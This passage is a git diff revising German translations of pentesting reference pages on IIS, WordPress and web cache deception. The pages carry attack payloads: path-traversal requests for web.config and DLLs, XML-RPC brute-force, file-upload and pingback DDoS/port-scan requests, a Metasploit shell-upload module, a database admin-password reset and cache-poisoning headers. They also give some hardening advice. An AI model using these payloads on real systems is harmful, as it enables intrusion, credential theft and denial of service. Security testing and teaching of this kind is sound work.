Dann speichern Sie die Datei, gehen Sie aus allen Verzeichnissen zurück und bauen Sie die apk mit dem folgenden Befehl neu: `apktool b *folder-name/* -o *output-file.apk*`
![](../../images/img12.png)

26
src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Testen von ausführbaren Dateierweiterungen:
Testen Sie ausführbare Dateierweiterungen:
- asp
- aspx
@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
```
## .config-Dateien ausführen
Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzuhängen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
@ -68,7 +68,7 @@ In **.Net MVC-Anwendungen** spielt die **web.config**-Datei eine entscheidende R
### **Binärdateien erkunden**
Ein Beispiel für den Zugriff auf die **web.config**-Datei ist unten dargestellt:
```markup
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
@ -89,14 +89,14 @@ Dateien, die im Root-Verzeichnis gefunden werden, wie **/global.asax** und **/co
### **Namespaces und Web.Config**
MVC-Anwendungen definieren auch zusätzliche **web.config-Dateien** für spezifische Namespaces, um wiederholte Deklarationen in jeder Datei zu vermeiden, wie mit einer Anfrage zum Herunterladen einer anderen **web.config** demonstriert:
```markup
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Herunterladen von DLLs**
Die Erwähnung eines benutzerdefinierten Namensraums deutet auf eine DLL mit dem Namen "**WebApplication1**" hin, die im /bin-Verzeichnis vorhanden ist. Daraufhin wird eine Anfrage zum Herunterladen der **WebApplication1.dll** angezeigt:
```markup
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
@ -187,12 +187,12 @@ C:\xampp\tomcat\conf\server.xml
Wenn Sie einen Fehler wie den folgenden sehen:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\
Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn es dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, gesucht zu werden
## Alte IIS-Sicherheitsanfälligkeiten, die es wert sind, untersucht zu werden
### Microsoft IIS Tilde-Zeichen “\~” Sicherheitsanfälligkeit/Funktion – Offenlegung kurzer Datei-/Ordnernamen
@ -207,21 +207,21 @@ Ursprüngliche Forschung: [https://soroush.secproject.com/downloadable/microsoft
Sie können auch **metasploit** verwenden: `use scanner/http/iis_shortname_scanner`
Eine gute Idee, um den **endgültigen Namen** der entdeckten Dateien zu **finden**, ist, **LLMs** nach Optionen zu fragen, wie es im Skript [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gemacht wird.
Eine gute Idee, um den **endgültigen Namen** der entdeckten Dateien zu **finden**, ist es, **LLMs** nach Optionen zu fragen, wie es im Skript [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) gemacht wird.
### Umgehung der Basisauthentifizierung
**Umgehen** Sie eine Basisauthentifizierung (**IIS 7.5**) und versuchen Sie, auf Folgendes zuzugreifen: `/admin:$i30:$INDEX_ALLOCATION/admin.php` oder `/admin::$INDEX_ALLOCATION/admin.php`
**Umgehen** Sie eine Basisauthentifizierung (**IIS 7.5**) und versuchen Sie, auf zuzugreifen: `/admin:$i30:$INDEX_ALLOCATION/admin.php` oder `/admin::$INDEX_ALLOCATION/admin.php`
Sie können versuchen, diese **Sicherheitsanfälligkeit** mit der letzten zu **kombinieren**, um neue **Ordner** zu finden und die Authentifizierung zu **umgehen**.
## ASP.NET Trace.AXD aktivierte Fehlersuche
## ASP.NET Trace.AXD aktivierte Debugging
ASP.NET enthält einen Debugging-Modus, und die Datei heißt `trace.axd`.
Es führt ein sehr detailliertes Protokoll aller Anfragen, die über einen bestimmten Zeitraum an eine Anwendung gestellt wurden.
Diese Informationen umfassen die IPs der Remote-Clients, Sitzungs-IDs, alle Anfrage- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
Diese Informationen umfassen die IPs der Remote-Clients, Sitzungs-IDs, alle Anforderungs- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
@ -236,7 +236,7 @@ ASPXAUTH verwendet die folgenden Informationen:
- **`decryptionIV`** (string): hex-kodierter Initialisierungsvektor (Standard ist ein Vektor aus Nullen).
- **`decryptionKey`** (string): hex-kodierter Schlüssel zur Verwendung für die Entschlüsselung.
Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers, den Sie nachahmen möchten**, auf dem angegriffenen Server erstellen, könnten Sie in der Lage sein, **das Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\
Einige Personen verwenden jedoch die **Standardwerte** dieser Parameter und verwenden als **Cookie die E-Mail des Benutzers**. Daher, wenn Sie eine Webseite finden können, die die **gleiche Plattform** verwendet und das ASPXAUTH-Cookie verwendet, und Sie **einen Benutzer mit der E-Mail des Benutzers erstellen, den Sie auf dem angegriffenen Server nachahmen möchten**, könnten Sie in der Lage sein, das **Cookie vom zweiten Server im ersten zu verwenden** und den Benutzer nachzuahmen.\
Dieser Angriff funktionierte in diesem [**Bericht**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS-Authentifizierungsumgehung mit zwischengespeicherten Passwörtern (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>

70
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -5,46 +5,46 @@
## Grundinformationen
- **Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn du etwas PHP des Themes änderst, um RCE zu erhalten, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** kannst du die **404.php** Datei in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn Sie einige PHP-Dateien des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php**-Datei unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** kannst du das Root-Passwort der Datenbank finden.
- In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Haupt WordPress Dateien**
### **Haupt WordPress-Dateien**
- `index.php`
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.
- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
**Post-Exploitation**
- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
- Die `wp-config.php`-Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
### Benutzerberechtigungen
- **Administrator**
- **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge
- **Redakteur**: Veröffentlicht und verwaltet seine und andere Beiträge
- **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
- **Abonnent**: Durchsucht Beiträge und bearbeitet sein Profil
## **Passive Enumeration**
### **WordPress-Version abrufen**
Überprüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst.
Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können.
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -103,16 +103,16 @@ Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erste
Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
- **Benutzernamenenumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, wenn der angegebene **Benutzername existiert oder nicht**.
- **Benutzernamenenumeration beim Login**: Beim Login in **`/wp-login.php`** ist die **Nachricht** **anders**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
### XML-RPC
Wenn `xml-rpc.php` aktiv ist, können Sie einen Brute-Force-Angriff auf Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ indem Sie dies verwenden](https://github.com/relarizky/wpxploit) zum Beispiel).
Wenn `xml-rpc.php` aktiv ist, können Sie einen Brute-Force-Angriff auf die Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ indem Sie dies verwenden](https://github.com/relarizky/wpxploit) zum Beispiel).
Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen und senden Sie diese Anfrage:
**Überprüfen**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -120,10 +120,10 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Anmeldeinformationen Bruteforce**
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu brute-forcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
```markup
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu brute-forcen. Wenn Sie eine davon finden können, können Sie etwas wie Folgendes senden:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -134,12 +134,12 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
```
Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -174,13 +174,13 @@ Es gibt auch einen **schnelleren Weg**, um Anmeldeinformationen mit **`system.mu
**Umgehung von 2FA**
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, RCE zu erreichen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
**DDoS oder Port-Scanning**
Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie WordPress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
Dies kann verwendet werden, um **tausende** von WordPress **Websites** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
```markup
Dies kann verwendet werden, um **tausende** von WordPress **Seiten** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -196,7 +196,7 @@ Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bede
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -210,8 +210,8 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
### wp-cron.php DoS
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\
Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Zugriff durch Überschreiben eines Bits erhalten
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT (`!`) Operation zu NOPen.
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -262,7 +262,7 @@ Sie können verwenden:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
um eine Sitzung zu erhalten.
to get a session.
## Plugin RCE
@ -304,10 +304,10 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
4. **Ausnutzung**:
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch das Laden des entsprechenden Moduls und das Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
@ -315,7 +315,7 @@ Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboar
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Skript, das entwickelt wurde, um eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
- _**Privilegieneskalation:**_ Erstellt einen Benutzer in WordPress.
- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) Hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
- _**(RCE) Eingebautes Plugin bearbeiten:**_ Bearbeiten Sie ein eingebautes Plugin in WordPress.
- _**(RCE) Eingebautes Theme bearbeiten:**_ Bearbeiten Sie ein eingebautes Theme in WordPress.
- _**(Benutzerdefiniert) Benutzerdefinierte Exploits:**_ Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.
@ -334,21 +334,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Aufzählungspunkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
Zu wissen, wie ein Wordpress-Plugin Funktionen exponieren kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen exponieren könnte, in den folgenden Punkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer exponieren kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin zu exponieren:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer (auch für nicht authentifizierte) zugänglich.**
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).**
> [!CAUTION]
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
- **REST API**
@ -368,7 +368,7 @@ Der `permission_callback` ist ein Callback zu einer Funktion, die überprüft, o
- **Direkter Zugriff auf die PHP-Datei**
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität bereitstellt, die durch den Zugriff auf die Datei ausgelöst wird, kann es von jedem Benutzer ausgenutzt werden.
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, wird es von jedem Benutzer aus ausnutzbar sein.
## WordPress-Schutz
@ -390,7 +390,7 @@ Auch, **installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
### **Weitere Empfehlungen**
- Entfernen Sie den standardmäßigen **Admin**-Benutzer
- Entfernen Sie den standardmäßigen **admin**-Benutzer
- Verwenden Sie **starke Passwörter** und **2FA**
- Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
- **Begrenzen Sie die Anmeldeversuche**, um Brute-Force-Angriffe zu verhindern

28
src/pentesting-web/cache-deception/README.md
View File

@ -25,7 +25,7 @@ In der Regel gibt es, wenn eine Antwort **im Cache gespeichert wurde**, einen **
### Entdeckung: Caching-Fehlercodes
Wenn Sie denken, dass die Antwort in einem Cache gespeichert wird, könnten Sie versuchen, **Anfragen mit einem fehlerhaften Header zu senden**, auf die mit einem **Statuscode 400** geantwortet werden sollte. Versuchen Sie dann, die Anfrage normal zuzugreifen, und wenn die **Antwort ein 400-Statuscode ist**, wissen Sie, dass es anfällig ist (und Sie könnten sogar einen DoS durchführen).
Wenn Sie denken, dass die Antwort im Cache gespeichert wird, könnten Sie versuchen, **Anfragen mit einem fehlerhaften Header zu senden**, auf die mit einem **Statuscode 400** geantwortet werden sollte. Versuchen Sie dann, die Anfrage normal zuzugreifen, und wenn die **Antwort ein 400-Statuscode ist**, wissen Sie, dass es anfällig ist (und Sie könnten sogar einen DoS durchführen).
Weitere Optionen finden Sie in:
@ -38,16 +38,16 @@ Beachten Sie jedoch, dass **manchmal diese Arten von Statuscodes nicht im Cache
### Entdeckung: Identifizieren und Bewerten von Unkeyed Inputs
Sie könnten [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) verwenden, um **Parameter und Header zu brute-forcen**, die möglicherweise **die Antwort der Seite ändern**. Zum Beispiel könnte eine Seite den Header `X-Forwarded-For` verwenden, um dem Client anzuzeigen, dass das Skript von dort geladen werden soll:
```markup
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
Mit dem identifizierten Parameter/Header überprüfen, wie er **bereinigt** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie missbrauchen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? Eine DoS durchführen?...)
Mit dem identifizierten Parameter/Header überprüfen, wie er **sanitisiert** wird und **wo** er **reflektiert** wird oder die Antwort aus dem Header beeinflusst. Kannst du es irgendwie ausnutzen (eine XSS durchführen oder einen von dir kontrollierten JS-Code laden? Eine DoS durchführen?...)
### Get the response cached
